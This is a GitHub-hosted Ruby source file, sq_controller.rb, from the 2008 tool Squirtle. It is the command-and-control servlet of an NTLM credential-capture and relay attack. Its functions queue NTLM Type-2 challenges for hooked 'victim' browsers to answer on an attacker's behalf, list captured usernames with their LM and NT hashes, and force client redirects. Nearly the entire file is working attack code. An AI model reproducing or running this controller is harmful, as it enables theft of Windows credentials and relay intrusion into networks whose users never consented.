-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsq_controller.rb
282 lines (256 loc) · 9.88 KB
/
sq_controller.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
# Squirtle's Command and Control nerve center. List clients, hashes, status, etc.
#
# Copyright (C) 2008 Kurt Grutzmacher
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
class ControllerServlet < HTTPServlet::AbstractServlet
def do_GET(req, resp)
HTTPAuth.basic_auth(req, resp, "Squirtle Realm") {|user, pass|
# this block returns true if
# authentication token is valid
user == $config['user'] && pass == $config['pass']
}
path = req.unparsed_uri
resp.body = '{ "status": "invalid command" }'
# create a response body based upon the URI path
resp.body = listsessions if /^\/controller\/listsessions/io =~ path
resp.body = listhashes if /^\/controller\/allhashes/io =~ path or /^\/controller\/allusers/io =~ path
resp.body = listuser(req) if /^\/controller\/listuser/io =~ path
resp.body = listsession(req) if /^\/controller\/session/io =~ path
resp.body = clientredirect(req) if /^\/controller\/redirect/io =~ path
resp.body = staticnonce_request(req) if /^\/controller\/static/io =~ path
resp.body = type2_request(req) if /^\/controller\/type2/io =~ path
resp.body = clearsession(req) if /^\/controller\/clearsession/io =~ path
resp.status = 200
resp['Content-Type'] = "application/jsonrequest"
end
alias do_POST do_GET
# static nonce request
def staticnonce_request(req)
# Take the Session Key and search for it in the Sessions hash.
# If client exists and has communicated to the controller within
# the configured timeout, add a request in the session database
key = req.query['key'] or return '{"status": "no key provided"}'
session = Session.find(:first, :conditions => [ "sesskey_id = ?", key])
if session != nil then
session.function = "static"
session.url = "/client/auth/" + srand.to_s
if req.query['nonce'] != nil then
session.nonce = req.query['nonce']
else
session.nonce = $config['nonce'].unpack('h*')
end
response = '{ "status": "ok" }'
begin
nonce = session.nonce.unpack('h*')
rescue
response = '{ "status": "bad nonce" }'
end
session.type2_base64 = ""
session.save
else
# invalid!
response = '{"status": "invalid session key"}'
end
return response
end
# type2 base64 request
def type2_request(req)
# Basic theory here is the attacking program has already started an NTLM
# handshake with the server which is waiting for a response. This means
# the server flags and nonce has been passed so the attacker can either
# send the segmented data (domain, server, dns, nonce and flags) or a
# base64 type2 message. In return the controller will push a type2
# request in the queue for the victim to authenticate to. The result will
# be returned to the attacker in JSON format for processing. If all goes
# well then authentication succeeds! Dutchie passed!
key = req.query['key'] or return '{ "status": "no key provided" }'
session = Session.find(:first, :conditions => [ "sesskey_id = ?", key])
if session != nil then
if req.query['type2'] == nil then
# attacker supplied data vs. base64 type2 message
domain = req.query['domain'] or $config['domain']
server = req.query['server'] or $config['server']
dns_domain = req.query['dns_domain'] or $config['dns_domain']
dns_name = "#{server.downcase}.#{dns_domain}"
begin
nonce = req.query['nonce'].to_a.pack('h*')
rescue
return '{ "status": "error processing nonce or no nonce provided" }'
end
begin
reqflags = req.query['flags'].to_a.pack('h8')
rescue
return '{ "status": "error processing request flags or no flags provided" }'
end
type2 = NTLMFUNCS.create_type2_message(reqflags, nonce, domain, server, dns_name, dns_domain, downgrade=false)
else
type2 = req.query['type2']
end
decode = Base64.decode64(type2)
if decode[8] == 2 then
# we have a type 2 request, add request!
session.function = "type2"
session.url = "/client/auth/" + srand.to_s
session.type2_base64 = type2
session.nonce = ""
session.save
# do five cycles to wait for the response from client
response = '{ "status": "no response" }'
(1..5).each do |loopcicle|
sleep($config['timeout']/1000) # timeout is in milliseconds
session = Session.find(:first, :conditions => [ "sesskey_id = ?", key ])
if session != nil then
if session.result != nil
response = {"status" => "ok", "timestamp" => session.timestamp, "result" => session.result }.to_json
#response = '{ "status": "ok", "timestamp": "' + session.timestamp + '", "result": "' + session.result + '" }'
puts "[*] Type 3 Response: #{session.result}"
break
end
else
puts "[!] Error: Session seems to have dissappeared! key = #{key}\n"
break
end
end # cycles
end # if decode
else
response = '{"status": "no session found"}'
end
return response
end
# list all sessions, latest first.
def listsessions
response = Hash.new
response['status'] = "ok"
response['sessions'] = {}
sessions = Session.find(:all, :order => "timestamp DESC")
sessions.each { |s|
response['sessions'][s.sesskey_id] = {}
response['sessions'][s.sesskey_id]['timestamp'] = s.timestamp
response['sessions'][s.sesskey_id]['function'] = s.function
response['sessions'][s.sesskey_id]['url'] = s.url
response['sessions'][s.sesskey_id]['nonce'] = s.nonce
response['sessions'][s.sesskey_id]['type2'] = s.type2_base64
response['sessions'][s.sesskey_id]['domain'] = s.domain
response['sessions'][s.sesskey_id]['server'] = s.server
response['sessions'][s.sesskey_id]['dns_name'] = s.dns_name
response['sessions'][s.sesskey_id]['dns_domain'] = s.dns_domain
response['sessions'][s.sesskey_id]['result'] = s.result
}
#print "response: #{response}"
return response.to_json
end
# list all users and their hashes
def listhashes
response = Hash.new
response['status'] = "ok"
response['hashes'] = {}
users = User.find(:all, :order => "timestamp DESC")
users.each { |u|
response['hashes'][u.sesskey] = {}
response['hashes'][u.sesskey]['timestamp'] = u.timestamp
response['hashes'][u.sesskey]['user'] = u.user
response['hashes'][u.sesskey]['workstation'] = u.workstation
response['hashes'][u.sesskey]['domain'] = u.domain
response['hashes'][u.sesskey]['nonce'] = u.nonce
response['hashes'][u.sesskey]['lm'] = u.lm
response['hashes'][u.sesskey]['nt'] = u.nt
}
#print "response: #{response}"
return response.to_json
end
# list a specific username's hashes
def listuser(req)
user = req.query['user'] or return '{ "status": "no user specified" }'
response = Hash.new
response['status'] = "ok"
response['hashes'] = {}
users = User.find(:all, :order => "timestamp DESC", :conditions => ["upper(user) = ?", user.upcase ] )
if users == nil then
response['status'] = "user not found"
else
users.each { |u|
response['hashes'][u.sesskey] = {}
response['hashes'][u.sesskey]['timestamp'] = u.timestamp
response['hashes'][u.sesskey]['user'] = u.user
response['hashes'][u.sesskey]['workstation'] = u.workstation
response['hashes'][u.sesskey]['domain'] = u.domain
response['hashes'][u.sesskey]['nonce'] = u.nonce
response['hashes'][u.sesskey]['lm'] = u.lm
response['hashes'][u.sesskey]['nt'] = u.nt
}
end
return response.to_json
end
# list a specific session key
def listsession(req)
key = req.query['key'] or return '{ "status": "no key specified" }'
response = Hash.new
response['status'] = "ok"
response['sessions'] = {}
s = Session.find(:first, :conditions => [ "sesskey_id = ?", key])
if s != nil then
response['sessions'][s.sesskey_id] = {}
response['sessions'][s.sesskey_id]['timestamp'] = s.timestamp
response['sessions'][s.sesskey_id]['function'] = s.function
response['sessions'][s.sesskey_id]['url'] = s.url
response['sessions'][s.sesskey_id]['nonce'] = s.nonce
response['sessions'][s.sesskey_id]['type2'] = s.type2_base64
response['sessions'][s.sesskey_id]['domain'] = s.domain
response['sessions'][s.sesskey_id]['server'] = s.server
response['sessions'][s.sesskey_id]['dns_name'] = s.dns_name
response['sessions'][s.sesskey_id]['dns_domain'] = s.dns_domain
response['sessions'][s.sesskey_id]['result'] = s.result
else
response['status'] = "session key not found"
end
return response.to_json
end
# clear a session
def clearsession(req)
key = req.query['key'] or return '{ "status": "no session key specified" }'
session = Session.find(:first, :conditions => [ "sesskey_id = ?", key])
if session != nil then
session.function = ""
session.url = ""
session.nonce = ""
session.type2_base64 = ""
session.domain = ""
session.server = ""
session.dns_name = ""
session.dns_domain = ""
session.result = ""
session.save
response = '{"status": "ok"}'
else
response = '{"status": "invalid session key"}'
end
return response
end
# force client redirection
def clientredirect(req)
key = req.query['key'] or return '{"status": "no key provided"}'
url = req.query['url'] or return '{"status": "no url provided"}'
response = '{ "status": "ok" }'
session = Session.find(:first, :conditions => [ "sesskey_id = ?", key])
if session != nil then
session.function = "redir"
session.url = req.query['url']
session.save
else
response = '{ "status": "no session found" }'
end
return response
end
end